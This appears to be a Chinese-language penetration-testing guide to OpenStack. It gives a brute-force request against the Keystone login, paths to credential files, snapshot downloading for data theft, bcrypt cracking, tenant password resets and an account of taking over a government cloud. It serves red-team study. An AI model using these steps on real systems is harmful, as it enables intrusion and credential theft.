🐷OpenStack渗透场景

什么是Openstack

OpenStack是一个开源的云计算管理平台项目,是属于基础设施即服务(IaaS),是一个云操作系统。

  • Nova(控制 )

    • 提供计算资源,虚拟机、容器等;

  • Glance(镜像 )

  • Swift(对象存储 )

  • Cinder(块存储 )

  • Neutron(网络 )

  • Heat(编排服务 )

  • Ceilometer(计量服务,监控,计费 )

  • Keystone(身份管理 )

    • API客户端身份验证,多租户授权

  • Horizon

    • 提供Web界面

Keystone

keystone是OpenStack组件之一,identity service认证服务;

1. 一次建立;

(1) User向Keystone发送用户密码身份信息,Keystone验证成功后向User配发Token;

2. 三次请求,三次确认;

(1) User向Nova发出带有Token的实例创建请求,Nova收到请求后向Keystone验证有效性;

(2) Token被证实有效后,Nova向Glance服务发送镜像传输请求,Glance再次向Keystone验证Token有效性;

(3) Token被证实有效后,Glance向Nova提供镜像目录查询和传递服务,Nova获取镜像后继续向Neutron请求创建网络服务,Neutron再向Keystone验证有效性;

(4) Token被证实有效后,Neutron允许Nova使用网络服务;

3. 一个最终结果;

(1) Nova启动虚拟机成功,向用户返回创建实例成功的通知;

Nova

主要功能是负责管理实例虚拟机的生命周期、网络管理、存储卷管理;

对外提供服务接口为REST API,内部组件模块之间的通信基于RPC消息传递机制;

工作原理:

1. User获取认证后向Nova服务中的Nova-api发送一个请求,用于创建虚拟机实例;

2. Nova-API接收到请求后进行身份验证,然后将创建虚拟机实例的消息存到队列中(Queue);

3. Nova-scheduler从消息队列中(Queue)接收到消息开始调度,从多个计算节点选取最优节点,将创建虚拟机实例消息存放到队列中;

4. Nova-compute获取到信息后,在自身节点上执行创建虚拟机实例操作;

5. 创建虚拟机同时,计算节点通过消息队列向Nova-Conductor发送查询数据库的信息的消息,Conductor收到信息生会去访问数据库并给出回应消息;

  • Nova-API

    • 接收并响应最终用户的计算API调用请求,通常将请求转发给Nova其它组件进行自带;

  • Nova-API-Metadata

    • 用于接收来自实例的元数据请求;

  • Nova-Compute

    • 通过Hypervisor API创建和终止实例的工作进程;

    • 默认情况使用KVM虚拟化引擎;

    • 主要功能就是接收来自消息队列的请求,然后执行对应的系统命令;

  • Nova-Scheduler

    • 负责从队列中获取虚拟机实例请求;

  • Nova-Conductor

    • 主要为了使Nova-Compute服务与数据库之间进行交互;

  • Nova-placement-api

    • 追踪每个提供者的库存和使用情况,比如计算节点的资源,存储池使用情况以及IP分配情况;

  • Nova-Cert

    • 是服务器守候进程,主要为基于X509认证的Nova Cert提供服务;

  • Nova-NoVNCproxy

    • 虚拟机控制台服务,提供用于通过VNC连接访问正在运行实例的代理;

  • QUEUE

Glance

Glance主要负责镜像的注册和查询传递服务,这些镜像可以是用户自己制作上传的镜像,也可以是当前实例的快照,这两种类型的镜像都可以快速用于实例部署;

工作原理:

1. glance-api接收到对应服务请求,对该服务进行响应;

2. glance-api服务将会对请求进行判断,与metadata相关操作就会把任务交给glance-registry进行处理,对应数据库操作如与image自身相关操作,将交给store backend进行处理;

主要组件:

  • glance-api

    • 作用就是接收请求,但自身不处理请求,对外提供REST API响应image查询、获取和存储的调用;

    • 使用ps -ef | grep glance-api,查看进程信息;

  • glance-registry

    • 主要负责处理和存取image和metadata;

    • 使用ps -e | grep glance-registry,查看进程信息;

  • Dadatabase

    • 主要用于保存images的metadata信息;

  • Store backend

    • 实际用于存储,glance自身并不存储image,而是将image放在backend中;

    • 配置文件:/etc/glance/glanc e-api.conf

Neutron

主要提供云计算环境下的网络服务;

Neutron具体作用是允许用户创建和管理网络对象,例如:网络、子网、端口;

涵盖了二层交换、三层路由、负载、防火墙等;

工作原理:

1. 当要创建一个虚拟网络时,server收到创建的请求,通过消息队列通知对应的插件;

2. OVS插件收到消息后,将需要创建网络信息,名称,ID等,保存到数据库中并通过消息队列通知运行在各个节点上的agent;

3. agent,收到消息后会在节点上创建对应设备、例如vlan设备;

  • neutron-server

    • 运行于控制节点,提供相应的API;

  • neutron plugin

    • core plugins,提供二层虚拟网络支持、网络、子网、端口等;

    • service plugins,提供路由器、防火墙、安全组等;

  • neutron agent

    • 负责接收消息并且执行任务的模块;

  • neutron provide

    • 主要提供虚拟机或物理网络设备;

  • queue

    • 各个模块之间相互通信

  • neutron database

    • 存储网络信息数据库;

安装Openstack

手动部署较为麻烦,中途各种报错,排错等部署了一天

手动部署openstrack需要的组件:

· Mysql

· Mongodb

· RabbitMQ

· keystone

· HTTP

· glance

· nova

· neutron

· horizon

DevStack

OpenStack为入门者和开发者推出了一个OpenStack开发环境:devstack。通过devstack,你可以在一个主机节点上部署一个“五脏俱全”的OpenStack Cloud。

国内网络环境问题,导致安装难度加大

· vultr + Ubuntu 20

sudo apt update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt install git -y
 
#创建并切换到 stack 用户
sudo useradd -s /bin/bash -d /opt/stack -m stack
 
#sudo 不需要密码
echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack
 
sudo su - stack
#下载和配置 devstack
cd /opt/stack/
git clone https://git.openstack.org/openstack-dev/devstack
cd devstack
cat > local.conf <<EOF
[[local|localrc]]
# Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=onegiao
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD
 
# Host IP - get your Server/VM IP address from ip addr command
# 修改成你的机器的 IP
HOST_IP=192.168.10.100
FORCE=yes
EOF
 
#安装
./stack.sh
 
#关闭防火墙
sudo ufw disable

渗透场景

这里有两种场景:

· 获取到OpenStack控制台权限;

· OpenStack下的虚拟主机权限;

虚拟主机权限场景

能做什么? 怎么去找控制端?

  • 一般政务云租户管理端都会对外开放,所以从正面也是最为直接的方式。

  • 在内网中端口查找关于用keystone 5000端口或者其它组件相应的端口查找管理网段。

  • 一般情况是虚拟主机是无法到达管理网段,已做逻辑隔离。

    • 管理网络,openstack管理网

    • 内部网络,内部数据库、nova、之间的通讯

    • 共有网络,虚拟主机

攻击策略:

Ø 网络暴露:管理控制台,弱口令、高危漏洞

Ø 网络暴露:API 接口,未授权访问、越权、高危漏洞

Ø 网络暴露:三方组件引入的接口

Ø 网络暴露:容器服务

Ø 网络暴露:运营/运维服务

Ø OpenStack 部署在企业的业务生产网,云的底座网络、物理设备与业务网络在同一安全域,物理设备的监控和管理可横向攻击

相关端口

Ø Glance API 3260

Ø Glance API 9191

Ø Glance API 9292

Ø Nova API 3333

Ø Nova API 8775

Ø Nova API 8776

Ø EPMD 4369

Ø Keystone API 5000

Ø Keystone API 35357

Keystone API爆破

POST /v3/auth/tokens HTTP/1.1
Host: 149.xxx.xxx.xxx:5000
User-Agent: openstacksdk/0.50.0 keystoneauth1/4.2.1 python-requests/2.25.1 CPython/3.9.1+
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 225
 
{"auth": {"identity": {"methods": ["password"], "password": {"user": {"password": "123456", "name": "admin", "domain": {"name": "Default"}}}}, "scope": {"project": {"name": "admin", "domain": {"name": "Default"}}}}}

一般keystone就是控制面板密码

登录成功返回的资源:

直接绑定host即可

BurpSuite操作太麻烦直接本地安装

apt install python-openstackclient
unset OS_SERVICE_TOKEN
export OS_USERNAME=admin
export OS_PASSWORD='123456'
export OS_REGION_NAME=RegionOne
export OS_AUTH_URL=http://219.xxx.xxx.xxx:5000/v3
export OS_PROJECT_NAME=admin
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_IDENTITY_API_VERSION=3
 
source keystone_admin

执行命令

#查看区域
keystone domain list

控制台权限场景

某政务云案例:

搜索引擎 —> 某省政务外网 —> 政务云平台,3A认证,基于Openstack二次开发,存在Shiro反序列化漏洞 —> 获取openstack云平台系统root权限 —> 网卡信息可跨(172,10,192)网段 —> 通过翻取系统任务计划,发现运维脚本,脚本中存储了云平台节点所有帐号密码(获取294云节点服务器权限)—> 再通过翻取系统配置文件,登录云平台数据库,获取云平台所有帐号密码(获取519个SSO帐号密码)—> 可控制某省政务云单位500+ —> 通过翻取系统文件获得Zabbix Server监控系统(9个)—> 控制openstack云平台,可控制1400+云主机权限,影响整个省政务单位,完全控制某政务云。

关于第一种场景能做的事情很多,对当前主机信息收集例如:计划任务、历史命令、环境变量等,相关openstack配置文件进行收集,能够发现数据库配置文件、以及节点信息。

关注配置文件信息:

# 认证配置文件
/etc/keystone/keystone.conf
/etc/glance/glance-api.conf
/etc/nova/nova.conf
/etc/neutron/neutron.conf
/etc/cinder/cinder.conf
/etc/openstack-dashboard/local_settings

云平台仪表盘登录帐号密码通常情况下是放在/root/目录下,名为keystonerc_admin开头等,没有特定文件,包含一些.sh脚本中也有可能存在云平台的登录帐号密码;

export OS_USERNAME=admin
export OS_PASSWORD=ADMIN_PASS
export OS_PROJECT_NAME=admin
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_AUTH_URL=http://controller:5000/v3
export OS_IDENTITY_API_VERSION=3

常用命令

#当前用户
keystone user-list
openstack user list
 
#查看区域
keystone domain list
 
#创建具有管理权限的tenant,称为admin
keystone tenant-create --name=admin
 
#创建一个用户并设置密码
keystone user-create --name=admin --pass="openstack"
 
#创建角色
keystone role-create --name=admin
 
#分配角色给admin用户
keystone user-role-add --user admin --role admin --tenant admin
 
#keystone命令行客户端
export OS_TENANT_NAME=admin
export OS_USERNAME=admin
export OS_PASSWORD= openstack
export OS_AUTH_URL=http://127.0.0.1:35357/v2/
   
#查看节点
nova host-list
 
#查看计算节点
nova hypervisor-list
 
#计算节点上有哪些虚拟机
nova hypervisor-servers compute1
 
#查看虚拟机列表
nova list
 
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
 
#列出实例类型
nova flavor-list
 
#列出所有镜像
nova image-list
 
# 验证网络
openstack network agent list
 
#查看网桥
brctl show
 
#免密登录
ssh-keygen -q -N ""
openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey
openstack keypair list
 
#查看安全组
openstack security list
openstack security group list
 
#允许ping
openstack security group rule create --proto icmp default
 
#允许SSH
openstack security group rule create --proto tcp --dst-port 22 default
 
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
 
#查看所有的虚机/某个租户虚机
nova list --all-tenants 
nova list --tenant csq 
查看nova控制端服务列表
nova service-list 
+--------------------------------------+----------------+------------+----------+----------+
| Id                                   | Binary         | Host       | Zone     | Status   | State | Updated_at                 | Disabled Reason | Forced down |
+--------------------------------------+----------------+------------+----------+----------+
| 1ddf8a41-27dd-4a97-8976-26dac6b08f15 | nova-conductor | controller | internal | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
| 63b2d48d-b0fe-4c70-86f1-2598204bc47d | nova-scheduler | controller | internal | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
| 17244348-e6cf-4898-8967-cc51e0e6862f | nova-compute   | controller | zone1    | disabled | down  | 2020-11-04T13:15:03.000000 | -               | False       |
| 9b84682e-c77f-4b14-ad6e-5d2bd1adf330 | nova-compute   | compute    | zone2    | enabled  | up    | 2021-06-17T08:49:59.000000 | -               | False       |
+--------------------------------------+----------------+------------+----------+----------+
 
查看节点信息:
openstack hypervisor list
+----+---------------------+-----------------+-------------+-------+
| ID | Hypervisor Hostname | Hypervisor Type | Host IP     | State |
+----+---------------------+-----------------+-------------+-------+
|  1 | controller          | QEMU            | 192.168.0.4 | down  |
|  2 | compute             | QEMU            | 10.53.18.17 | up    |
+----+---------------------+-----------------+-------------+-------+
 
查看计算节点:
openstack host list
+------------+-----------+----------+
| Host Name  | Service   | Zone     |
+------------+-----------+----------+
| controller | conductor | internal |
| controller | scheduler | internal |
| compute    | compute   | zone2    |
+------------+-----------+----------+
 
列出 keystone 服务中的端点
+-----------+-----------+-----------------------------------------+
| Name      | Type      | Endpoints                               |
+-----------+-----------+-----------------------------------------+
| placement | placement | RegionOne                               |
|           |           |   admin: http://controller:8778         |
|           |           | RegionOne                               |
|           |           |   public: http://controller:8778        |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:8778      |
|           |           |                                         |
| nova      | compute   | RegionOne                               |
|           |           |   internal: http://controller:8774/v2.1 |
|           |           | RegionOne                               |
|           |           |   public: http://controller:8774/v2.1   |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:8774/v2.1    |
|           |           |                                         |
| glance    | image     | RegionOne                               |
|           |           |   internal: http://controller:9292      |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:9292         |
|           |           | RegionOne                               |
|           |           |   public: http://controller:9292        |
|           |           |                                         |
| keystone  | identity  | RegionOne                               |
|           |           |   public: http://controller:5000/v3/    |
|           |           | RegionOne                               |
|           |           |   admin: http://controller:5000/v3/     |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:5000/v3/  |
|           |           |                                         |
| neutron   | network   | RegionOne                               |
|           |           |   admin: http://controller:9696         |
|           |           | RegionOne                               |
|           |           |   internal: http://controller:9696      |
|           |           | RegionOne                               |
|           |           |   public: http://controller:9696        |
|           |           |                                         |
+-----------+-----------+-----------------------------------------+
 
控制端验证计算节点是否注册成功
neutron agent-list
+--------------------------------------+--------------------+------------+-------------------
| id                                   | agent_type         | host       | availability_zone | alive | admin_state_up | binary                    |
+--------------------------------------+--------------------+------------+-------------------
| 0b6e81f3-84fd-407b-aa58-26c634b0b89d | Linux bridge agent | controller |                   | :-)   | True           | neutron-linuxbridge-agent |
| 3529d60a-02c0-45f6-a8b9-d5fa5784c472 | Linux bridge agent | compute    |                   | :-)   | True           | neutron-linuxbridge-agent |
| 69108560-f2a6-4fee-95f1-fec785773a49 | Metadata agent     | controller |                   | :-)   | True           | neutron-metadata-agent    |
| 6ed02b19-3a2c-4a8d-b8c9-a816e8c242b9 | L3 agent           | controller | nova              | :-)   | True           | neutron-l3-agent          |
| 7579d896-760c-41c4-8ebc-2ec2b0b676b6 | DHCP agent         | controller | nova              | :-)   | True           | neutron-dhcp-agent        |
+--------------------------------------+--------------------+------------+-------------------
 
有哪些网段信息
openstack subnet list
+--------------------------------------+-------+--------------------------------------+----------------+
| ID                                   | Name  | Network                              | Subnet         |
+--------------------------------------+-------+--------------------------------------+------
| cd4786a4-23b1-4dfe-b0f4-cd1218a5818e | zone1 | b0e0b867-fe37-435a-b0a2-d373e3721d9b | 192.168.2.0/24 |
| ef2751bb-0102-4a2b-a306-95155bfa64d1 | zone2 | 6de24015-baba-42f6-b01c-c0c5e9e5f891 | 192.168.3.0/24 |
+--------------------------------------+-------+--------------------------------------+----------------+
 
查看虚拟机访问地址
openstack console url show 虚拟机名称
openstack console url show 虚拟机ID
 
+-------+-------------------------------------------------------------------------------------
| Field | Value                                                                                     |
+-------+-------------------------------------------------------------------------------------
| type  | novnc                                                                                     |
| url   | http://xxx.xxx.xxx.xxx:6080/vnc_auto.html?path=%3Ftoken%3D2c210aaa-e620-4779-ac9b-7491089e5754 |
+-------+-------------------------------------------------------------------------------------
列出可用网络
neutron net-list

通过这些网段再定位相关目标网段,针对性刷分。

下载快照

在无法进入系统的情况下,通过获取快照进行到系统获取数据;

创建快照后,通过配置文件查看快照存放位置:/etc/glance/glance-api.conf

对照ID下载镜像:

然后下载镜像进入到虚拟机获取相关数据。

openstack image save --file snapshot.raw 83361890-50ef-418a-80bc-f845f259b7dc

加密方式

一般情况下查询keystone数据库中的user表就可以了,但openstrack默认安装情况下分了两个表;

user存储用户名称及信息; password存储密码;

加密信息:

$2b$04$vj..DUniPbrtomnCskoI2.u0eFADB5T2hKZ8Uck4YTZ2D60ouFw2C

$为分割符,无意义;

2b是bcrypt加密版本号;

04是cost的值;

后一段是salt值;

最后才是密码的密文

找到用户密码但是不可解,密码复杂度太高;

强密码,hashcat基本无解。

hashcat -a 0 -m 3200 "\$2a\$10\$ghNfizR9Q0MqdXSRIDzKK.3CSvmn.Ik97i1DXB4Ba72qNlWZCpAkq" passwd.txt

使用penglab项目,https://github.com/mxrch/penglab

重置租户密码

当无法解密但又需要登录到某个租户的时候

查看用户列表:

keystone user-list

如果没有keystone 就用openstack user list

修改密码:

keystone user-password-update --pass 123qweasd 955fc29e47a74bfcbeb91718ad7caf40

如果不存在,则:

openstack user set --password 123qweasdzxc demo

具体看目标系统,有些则是在租户上可直接重置虚拟机密码,有些则无这个功能。

Last updated